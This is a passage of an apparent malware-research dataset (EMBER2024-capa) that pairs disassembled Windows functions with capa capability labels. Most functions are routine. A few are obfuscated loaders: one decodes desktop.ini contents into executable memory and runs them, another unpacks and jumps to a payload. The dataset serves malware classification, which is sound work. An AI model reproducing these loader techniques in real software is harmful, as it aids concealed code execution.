joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42225e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42229d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42229d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42229d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42229d
cmp dword [ecx + 0x74], 0xe
jbe 0x42229d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x427e28
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x427ec5
push ebx
push esi
call fcn.00427df1
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00427d85
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x427e72
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x427ec4
push edi
push eax
call fcn.0042678b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x427e92
call fcn.004267d9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x427ec3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00427d85
add esp, 0x20
test eax, eax
jne 0x427eb1
push edi
call fcn.004267d9
jmp 0x427eb9
push ebx
call fcn.004267d9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4290d4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4310c8
push 0x4310c0
push str.FlsAlloc
push 0x1f
call fcn.00428f93
mov esi, eax
add esp, 0x10
test esi, esi
je 0x429108
push dword [ebp + 8]
mov ecx, esi
call dword [0x42f130]
call esi
jmp 0x42910e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x429152
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4310d8
push 0x4310d0
push str.FlsGetValue
push 0x21
call fcn.00428f93
mov esi, eax
add esp, 0x10
test esi, esi
je 0x429189
push dword [ebp + 8]
mov ecx, esi
call dword [0x42f130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x429191
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4310e0
push 0x4310d8
push str.FlsSetValue
push 0x22
call fcn.00428f93
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4291cb
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42f130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42e5a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42e5cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42e5cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x1000f721
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1000f730
pop dword [ebp - 0x48]
mov eax, 0xb42b6f
add eax, 0xf4ccbc1
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x890f1d15
sub dword [ebp - 0x58], 0x3abcd7ca
mov dword [ebp - 0x54], 0xebe8d432
sub dword [ebp - 0x54], 0xb9b587ed
mov dword [ebp - 0x50], 0x590df22
sub dword [ebp - 0x50], 0xb9449af4
mov dword [ebp - 0x4c], 0xee494139
add dword [ebp - 0x4c], 0x11b6bec7
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xbb964ac8
sub dword [ebp - 0x58], 0x4723e172
mov dword [ebp - 0x54], 0xf32dee98
add dword [ebp - 0x54], 0x4e3e72dd
mov dword [ebp - 0x50], 0x569a3a5
add dword [ebp - 0x50], 0x5e05c8c7
mov dword [ebp - 0x4c], 0x7a49983b
add dword [ebp - 0x4c], 0x85b667c5
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xbe32e126
sub eax, 0xae31a12e
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x383a6
push 0
call eax
mov ecx, 0xfc469d13
sub ecx, 0xfc464e6c
xor edx, edx
add edx, eax
mov ebx, 0x10019a00
add ebx, dword [ebp - 0x48]
mov esi, 0x2b74ce88
sub esi, 0x78f8a6b9
xor dword [ebp - 0x18], 0x645b1f73
mov edi, dword [ebx]
xor edi, esi
sub dword [ebp - 0x24], 0xd8feae2e
mov dword [edx], edi
add dword [ebp - 0x14], 0x20125494
add edx, 0xd35d21a0
sub edx, 0xd35d219c
add ebx, 0x771bb98c
sub ebx, 0x771bb988
loop 0x1000f849
add eax, 0x12d6f
xor ebx, ebx
add ebx, eax
add eax, 0xb6715f21
add eax, 0x498ea0e4
mov ecx, 0x53e8cc77
sub ecx, 0x43e8cc77
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov eax, dword [0x40c05a]
shl eax, 2
mov dword [0x40c05e], eax
push edi
push ecx
xor eax, eax
mov edi, 0x40d6f0
mov ecx, 0x40d9d4
cmp ecx, edi
jbe 0x401024
sub ecx, edi
cld
rep stosb byte es:[edi], al
pop ecx
pop edi
mov edx, dword fs:[4]
mov dword [0x40c06e], edx
mov eax, dword [edx - 8]
mov dword [0x40c066], eax
mov eax, dword [edx - 4]
mov dword [0x40c06a], eax
sub edx, 4
mov dword [0x40d730], edx
sub edx, 4
cmp edx, esp
jae 0x401054
mov esp, edx
push 0
call fcn.00403486
pop ecx
push 0x40c02c
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x40c062], eax
push 0
jmp fcn.00407048

Function at 0x4055b4
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_CreateDirectoryA
dec eax
je 0x4055e2
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x4055db
push 5
call fcn.0040553c
pop ecx
pop ebp
ret
call fcn.004055a0
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4055e8
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
cmp dword [ebp + 0xc], 1
mov esi, dword [ebp + 8]
jne 0x405613
lea eax, [ebp + 0x10]
add eax, 4
mov ebx, dword [eax - 4]
push ebx
push esi
call sub.KERNEL32.dll_SetFileAttributesA
test eax, eax
jne 0x405627
call fcn.004055a0
jmp 0x405629
push esi
call sub.KERNEL32.dll_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x405627
call fcn.004055a0
jmp 0x405629
mov eax, ebx
pop esi
pop ebx
pop ebp
ret

Function at 0x405740
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x40575c
call fcn.004055a0
pop ebx
pop ebp
ret
test byte [ebp + 0xc], 2
je 0x405777
test bl, 1
je 0x405777
mov dword [0x40d5d4], 5
or eax, 0xffffffff
pop ebx
pop ebp
ret
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x405888
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
test byte [ebp + 0xd], 0xc0
jne 0x4058a7
mov eax, dword [0x40cde0]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x4058b4
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x4058e1
je 0x4058f3
sub ecx, 0x100
je 0x405901
sub ecx, 0x100
je 0x405908
sub ecx, 0x100
je 0x4058fa
jmp 0x40590f
sub ecx, 0x600
je 0x405908
sub ecx, 0x100
je 0x4058f3
jmp 0x40590f
mov edi, 1
jmp 0x405914
mov edi, 2
jmp 0x405914
mov edi, 4
jmp 0x405914
mov edi, 5
jmp 0x405914
mov edi, 3
test byte [ebp + 0xd], 1
je 0x40593b
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x40d2dc]
test al, 0x80
je 0x405934
mov ebx, 0x80
jmp 0x40594d
mov ebx, 1
jmp 0x40594d
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x40594d
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x40595f
je 0x405968
dec eax
je 0x405971
jmp 0x40597a
mov dword [ebp - 4], 0x80000000
jmp 0x405989
mov dword [ebp - 4], 0x40000000
jmp 0x405989
mov dword [ebp - 4], 0xc0000000
jmp 0x405989
push 1
call fcn.0040553c
pop ecx
mov ebx, eax
jmp 0x405a75
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x4059a5
sub eax, 0x10
je 0x4059ac
sub eax, 0x10
je 0x4059b5
sub eax, 0x10
je 0x4059be
jmp 0x4059be
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x4059c5
mov dword [ebp - 8], 1
jmp 0x4059c5
mov dword [ebp - 8], 2
jmp 0x4059c5
mov dword [ebp - 8], 3
mov dword [ebp - 0x14], 0xc
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
and eax, 0x80
cmp eax, 1
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
push 0
push ebx
push edi
push ecx
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x405a2e
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x405a23
test byte [ebp + 0xd], 1
mov ebx, 0x50
jne 0x405a23
add ebx, 0xffffffb2
push ebx
call fcn.0040553c
pop ecx
mov ebx, eax
jmp 0x405a75
mov edi, esi
push edi
call fcn.004057f8
pop ecx
test eax, eax
je 0x405a42
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x405a4e
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.00405298
add esp, 8
mov ebx, eax
inc eax
jne 0x405a75
push 4
call fcn.0040553c
pop ecx
push esi
call sub.KERNEL32.dll_CloseHandle
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40663c
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.KERNEL32.dll_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret
Function at 0x406a18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
cmp dword [0x40d5d8], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x406ad0
cmp byte [0x40c059], 0
je 0x406a8a
push 0x50
lea eax, [ebp - 0x54]
push eax
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x54]
push edx
call fcn.00401358
add esp, 8
mov ebx, eax
test eax, eax
jne 0x406a73
push 0x3a
lea edx, [ebp - 0x54]
push edx
call fcn.00401358
add esp, 8
mov ebx, eax
test eax, eax
jne 0x406a73
lea ebx, [ebp - 0x54]
jmp 0x406a74
inc ebx
call fcn.004069d0
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.dll_MessageBoxA
jmp 0x406af1
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x40d5dc
push ebx
call sub.KERNEL32.dll_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.004011cc
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.dll_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x40d5df
push ebx
call sub.KERNEL32.dll_WriteFile
jmp 0x406af1
cmp dword [0x40d5d8], 0xffffffff
je 0x406af1
mov eax, dword [0x40d5d8]
test eax, eax
je 0x406af1
cmp byte [eax], 0
je 0x406af1
push esi
push eax
call fcn.00406b80
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407320
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff38
mov edi, eax
mov esi, 0x10
or ebx, 0xffffffff
push esp
push 0xc8
call sub.KERNEL32.dll_GetTempPathA
test ebx, ebx
jl 0x407349
push ebx
call fcn.00403778
pop ecx
push edi
push esi
push 0x40c07c
lea eax, [esp + 0xc]
push eax
call sub.KERNEL32.dll_GetTempFileNameA
inc esi
push 0
push edi
call fcn.00403788
add esp, 8
mov ebx, eax
test eax, eax
jge 0x40733e
cmp dword [0x40d5d4], 2
jne 0x40733e
add esp, 0xc8
pop edi
pop esi
pop ebx
ret

Function at 0x407414
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebp, eax
mov eax, edx
shr eax, 0x10
add esp, 0xffffffe8
and ax, 0xffff
xor ebx, ebx
mov word [esp + 0x12], ax
mov esi, ecx
and dx, 0xffff
mov word [esp + 0x14], dx
push 0
push 0x8000080
push 3
push 0
push 0
push 0xc0000000
push ebp
call sub.KERNEL32.dll_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x40745f
xor eax, eax
jmp 0x4074f4
push esp
mov dx, word [esp + 0x18]
push edx
mov cx, word [esp + 0x1a]
push ecx
call sub.KERNEL32.dll_DosDateTimeToFileTime
lea eax, [esp + 8]
push eax
lea edx, [esp + 4]
push edx
call sub.KERNEL32.dll_LocalFileTimeToFileTime
lea ecx, [esp + 8]
push ecx
lea eax, [esp + 0xc]
push eax
lea edx, [esp + 0x10]
push edx
push edi
call sub.KERNEL32.dll_SetFileTime
mov byte [esp + 0x10], al
push edi
call sub.KERNEL32.dll_CloseHandle
test si, 1
mov ecx, 1
jne 0x4074ac
dec ecx
or ebx, ecx
mov eax, 2
test si, 2
jne 0x4074bd
add eax, 0xfffffffe
or ebx, eax
mov edx, 4
test si, 4
jne 0x4074ce
add edx, 0xfffffffc
or ebx, edx
mov ecx, 0x20
test si, 0x20
jne 0x4074df
add ecx, 0xffffffe0
or ebx, ecx
push ebx
push ebp
call sub.KERNEL32.dll_SetFileAttributesA
test eax, eax
jne 0x4074f0
xor eax, eax
jmp 0x4074f4
mov al, byte [esp + 0x10]
add esp, 0x18
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4097ac
Capabilities:
Get disk size

Disassembly:
push ebx
add esp, 0xfffffff0
mov ebx, eax
lea eax, [esp + 0xc]
push eax
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0xc]
push ecx
lea eax, [esp + 0xc]
push eax
push 0
call sub.KERNEL32.dll_GetDiskFreeSpaceA
mov eax, dword [esp + 8]
imul dword [esp]
imul dword [esp + 4]
mov dl, 1
cmp ebx, eax
ja 0x4097df
dec edx
mov eax, edx
add esp, 0x10
pop ebx
ret

Function at 0x409be4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
add esp, 0xffffff78
mov esi, 0x40c2f4
mov byte [0x40d718], 0
push esp
call sub.USER32.dll_GetDesktopWindow
push eax
call sub.USER32.dll_GetClientRect
push 0
call sub.KERNEL32.dll_SetLastError
push 0
mov eax, dword [0x40c2f0]
push eax
push 0
push 0
push 0x64
push 0x12c
mov edx, dword [esp + 0x24]
sar edx, 1
jns 0x409c29
adc edx, 0
add edx, 0xffffffce
push edx
mov ecx, dword [esp + 0x24]
sar ecx, 1
jns 0x409c38
adc ecx, 0
add ecx, 0xffffff6a
push ecx
push 0x800000
push 0x40c2d4
push 0x40c2d4
push 0x80
call sub.USER32.dll_CreateWindowExA
mov ebx, eax
mov dword [esi], ebx
test ebx, ebx
jne 0x409c93
call sub.KERNEL32.dll_GetLastError
push eax
push 0x40c340
lea eax, [esp + 0x18]
push eax
call sub.USER32.dll_wsprintfA
add esp, 0xc
push 0x10
push 0x40c364
lea edx, [esp + 0x18]
push edx
push 0
call sub.USER32.dll_MessageBoxA
push 0
call fcn.00406cb0
pop ecx
push 0x81
push 0xffffffffffffffec
mov ecx, dword [esi]
push ecx
call sub.USER32.dll_SetWindowLongA
push 0x800000
push 0xfffffffffffffff0
mov eax, dword [esi]
push eax
call sub.USER32.dll_SetWindowLongA
push 4
push 4
call sub.USER32.dll_GetSystemMetrics
mov edx, 0x64
sub edx, eax
push edx
push 0x12c
mov ecx, dword [esp + 0x18]
sar ecx, 1
jns 0x409cd2
adc ecx, 0
add ecx, 0xffffffce
push ecx
mov eax, dword [esp + 0x18]
sar eax, 1
jns 0x409ce1
adc eax, 0
add eax, 0xffffff6a
push eax
push 0
mov edx, dword [esi]
push edx
call sub.USER32.dll_SetWindowPos
call sub.COMCTL32.DLL_InitCommonControls
push 0
mov ecx, dword [0x40c2f0]
push ecx
push 0
mov eax, dword [esi]
push eax
push 0x14
push 0x104
push 0x28
push 0x14
push 0x50000000
push 0
push 0x40c36f
push 0
call sub.USER32.dll_CreateWindowExA
mov dword [0x40c2e8], eax
push 5
mov edx, dword [esi]
test eax, eax
push edx
call sub.USER32.dll_ShowWindow
mov ecx, dword [esi]
push ecx
call sub.USER32.dll_UpdateWindow
add esp, 0x88
pop esi
pop ebx
ret
Function at 0x409d44
Capabilities:
Delete directory
Delete file
Enumerate files on windows

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffcb8
mov esi, eax
xor eax, eax
lea edi, [esp + 0x244]
push esi
push edi
mov edi, esi
or ecx, 0xffffffff
lea esi, [esp + 0x148]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0x40c381
lea eax, [esp + 0x144]
push eax
call fcn.0040113c
add esp, 8
push esp
lea edx, [esp + 0x144]
push edx
call sub.KERNEL32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
setne al
and eax, 1
test eax, eax
je 0x409df8
push esi
push edi
mov eax, edi
mov edi, esi
mov esi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
lea eax, [esp + 0x2c]
push eax
push edi
call fcn.0040113c
add esp, 8
push edi
call sub.KERNEL32.dll_DeleteFileA
push esp
push ebx
call sub.KERNEL32.dll_FindNextFileA
test eax, eax
jne 0x409db2
push ebx
call sub.KERNEL32.dll_FindClose
push esi
call sub.KERNEL32.dll_RemoveDirectoryA
add esp, 0x348
pop edi
pop esi
pop ebx
ret

Function at 0x409ef0
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
add esp, 0xffffffac
push 0x104
call fcn.00406360
pop ecx
mov ebx, eax
push 0x208
call fcn.00406360
pop ecx
mov esi, eax
mov eax, esi
call fcn.0040acc4
mov byte [ebx], 0
mov eax, ebx
call fcn.0040a1a4
push 0x44
push 0
lea edx, [esp + 8]
push edx
call fcn.0040110c
add esp, 0xc
mov dword [esp], 0x44
lea ecx, [esp + 0x44]
mov word [esp + 0x30], 5
mov dword [esp + 0x2c], 0x41
push ecx
lea eax, [esp + 4]
push eax
push ebx
push 0
push 0x80
push 0
push 0
push 0
push esi
push 0
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x409f88
push 0
push 0x40c3d1
push 0x40c387
push 0
call sub.USER32.dll_MessageBoxA
mov dword [0x40c2d0], 0x10
mov edx, dword [esp + 0x48]
push edx
call sub.KERNEL32.dll_CloseHandle
mov ecx, dword [esp + 0x44]
mov dword [0x40c2ec], ecx
push 0x80
push 0
push 0
push 0
push 0
push 1
mov eax, dword [0x40c2f4]
push eax
call sub.USER32.dll_SetWindowPos
push 0
push 0x1f4
push 1
mov edx, dword [0x40c2f4]
push edx
call sub.USER32.dll_SetTimer
push esi
call fcn.00406258
pop ecx
add esp, 0x54
pop esi
pop ebx
ret
Function at 0x40a400
Capabilities:
Get disk size

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff3c
mov edi, ecx
mov ebx, edx
mov ebp, eax
push 0x105
call fcn.00406360
mov esi, eax
pop ecx
push esi
push edi
xor eax, eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
push 0x5c
push esi
call fcn.00401178
add esp, 8
mov byte [eax + 1], 0
mov dword [esp + 0x30], 0x94
lea eax, [esp + 0x30]
push eax
call sub.KERNEL32.dll_GetVersionExA
mov eax, dword [esp + 0x40]
cmp eax, 1
jne 0x40a47c
mov edx, dword [esp + 0x3c]
and edx, 0xffff
cmp edx, 0x3e8
ja 0x40a481
cmp eax, 2
jne 0x40a4dd
push 0x40c3fe
call sub.KERNEL32.dll_LoadLibraryA
mov ebx, eax
xor eax, eax
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], eax
test ebx, ebx
je 0x40a4dd
push 0x40c40b
push ebx
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
jne 0x40a4b2
push ebx
call sub.KERNEL32.dll_FreeLibrary
jmp 0x40a4dd
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
push esi
call eax
push ebx
call sub.KERNEL32.dll_FreeLibrary
fld qword [esp + 0x10]
fcomp qword [esp + 0x28]
fnstsw ax
sahf
seta bl
and ebx, 1
jmp 0x40a50e
lea eax, [esp + 0xc]
push eax
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0xc]
push ecx
lea eax, [esp + 0xc]
push eax
push esi
call sub.KERNEL32.dll_GetDiskFreeSpaceA
mov eax, ebp
xor edx, edx
div dword [esp]
xor edx, edx
div dword [esp + 4]
cmp eax, dword [esp + 8]
setb bl
and ebx, 1
push esi
call fcn.00406258
pop ecx
test bl, bl
jne 0x40a531
push 0x35
push 0x40c41f
push edi
push 0
call sub.USER32.dll_MessageBoxA
cmp eax, 2
jne 0x40a531
xor eax, eax
jmp 0x40a533
mov al, 1
add esp, 0xc4
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40a830
Capabilities:
Copy file
Get common file path

Disassembly:
push ebx
push esi
push edi
push ebp
mov edi, eax
push 0x104
call fcn.00406360
pop ecx
mov esi, eax
push 0x104
call fcn.00406360
pop ecx
mov ebp, eax
test esi, esi
je 0x40a858
test ebp, ebp
jne 0x40a875
test esi, esi
je 0x40a863
push esi
call fcn.00406258
pop ecx
test ebp, ebp
je 0x40a86e
push ebp
call fcn.00406258
pop ecx
xor eax, eax
jmp 0x40a94d
push 0x104
push ebp
call sub.KERNEL32.dll_GetSystemDirectoryA
push ebp
call fcn.004011cc
pop ecx
test eax, eax
jbe 0x40a8aa
lea edx, [ebp - 1]
push edx
call fcn.004011cc
cmp byte [ebp + eax], 0x5c
pop ecx
je 0x40a8aa
push 0x40c4be
push ebp
call fcn.0040113c
add esp, 8
push edi
push ebp
call fcn.0040113c
add esp, 8
xor eax, eax
or ecx, 0xffffffff
push esi
push edi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov eax, esi
call fcn.0040a250
push 0
push ebp
push esi
call sub.KERNEL32.dll_CopyFileA
push 0x104
push ebp
call sub.KERNEL32.dll_GetWindowsDirectoryA
push ebp
call fcn.004011cc
pop ecx
test eax, eax
jbe 0x40a91a
lea edx, [ebp - 1]
push edx
call fcn.004011cc
cmp byte [ebp + eax], 0x5c
pop ecx
je 0x40a91a
push 0x40c4c0
push ebp
call fcn.0040113c
add esp, 8
push 0x40c4c2
push ebp
call fcn.0040113c
add esp, 8
push edi
push ebp
call fcn.0040113c
add esp, 8
push 0
push ebp
push esi
call sub.KERNEL32.dll_CopyFileA
mov ebx, eax
push esi
call fcn.00406258
pop ecx
push ebp
call fcn.00406258
pop ecx
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
ret